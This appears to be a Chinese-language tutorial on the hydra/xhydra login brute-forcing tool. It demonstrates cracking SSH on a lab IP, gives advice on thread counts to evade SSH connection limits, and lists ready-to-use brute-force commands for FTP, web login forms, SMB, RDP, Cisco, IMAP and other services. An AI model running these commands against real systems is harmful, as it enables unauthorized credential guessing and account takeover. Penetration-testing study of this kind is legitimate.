一、xhydra工具介绍

这款工具很容易使用。在终端输入命令就可以直接打开。

  xhydra          # 打开 xhydra

二、xhydra的使用

1、参数详解

  xhydra   -h      # 查看xhydra的参数
  Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
  Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]
  ​
  Options:
    -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
    -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
    -C FILE   colon separated "login:pass" format, instead of -L/-P options
    -M FILE   list of servers to attack, one entry per line, ':' to specify port
    -t TASKS  run TASKS number of connects in parallel per target (default: 16)
    -U        service module usage details
    -h        more command line options (COMPLETE HELP)
    server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
    service   the service to crack (see below for supported protocols)
    OPT       some service modules support additional input (-U for module help)
  ​
  Supported services: adam6500 asterisk cisco cisco-enable cvs ftp http-{head|get|post} http-{get|post}-form http-proxy http-proxy-urlenum icq imap irc ldap2 ldap3[s] mssql mysql(v4) nntp pcanywhere pcnfs pop3 redis rexec rlogin rpcap rsh rtsp s7-300 smb smtp smtp-enum snmp socks5 teamspeak telnet vmauthd vnc xmpp
  ​
  Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
  v3.0. The newest version is always available at https://github.com/vanhauser-thc/thc-hydra
  Don't use in military or secret service organizations, or for illegal purposes.
  ​
  Example:  hydra -l user -P passlist.txt ftp://192.168.0.1
  ​

参数用途：

2、爆破实例

为了方便演示，这里我直接用命令破解 ssh服务（22端口）。

  hydra 192.168.56.12 ssh -l user -P /root/Work/sshpasswd.list -t 6 -V -f

命令详细：

• 攻击目标：192.168.56.12
• 使用的模块：ssh
• 爆破用户名：user (-l)
• 使用的密码字典：/root/Work/sshpasswd.list (-P)
• 爆破线程数：6 (-t)
• 显示详细信息 (-V)
• 爆破成功一个后停止 (-f)

3、爆破成功

我们就可以得到用户名和密码都是 user

4、验证登录

  # 连接目标ssh
  ssh user@192.168.56.12

注意：

  在爆破过程中，要适当的使用爆破的线程数，因为ssh一般有连接数量的苛刻限制（比如连接数量不得超过4的），如果使用hydra默认的线程数，有些线程会连接失败，从而导致字典中有正确密码而无法爆破现象。
  我建议 爆破ssh使用的线程数是 4~7 个

5、其他常用协议的爆破

  1、破解ssh： 
  hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh 
  hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh 
  ​
  ​
  2、破解ftp： 
  hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV 
  hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV 
  ​
  ​
  3、get方式提交，破解web登录： 
  hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/ 
  hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
  ​
  ​
  4、post方式提交，破解web登录： 
  hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" 
  hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>" 
  （参数说明：-t同时线程数3，-l用户名是admin，字典pass.txt，保存为out.txt，-f 当破解了一个密码就停止， 10.36.16.18目标ip，http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中 的内容是表示错误猜解的返回信息提示。） 
  ​
  ​
  5、破解https： 
  hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https 
  ​
  6、破解teamspeak： 
  hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak 
  ​
  7、破解cisco： 
  hydra -P pass.txt 10.36.16.18 cisco 
  hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable 
  ​
  8、破解smb： 
  hydra -l administrator -P pass.txt 10.36.16.18 smb 
  ​
  9、破解pop3： 
  hydra -l muts -P pass.txt my.pop3.mail pop3 
  ​
  10、破解rdp： 
  hydra ip rdp -l administrator -P pass.txt -V 
  ​
  11、破解http-proxy： 
  hydra -l admin -P pass.txt http-proxy://10.36.16.18 
  ​
  12、破解imap： 
  hydra -L user.txt -p secret 10.36.16.18 imap PLAIN 
  hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
  ​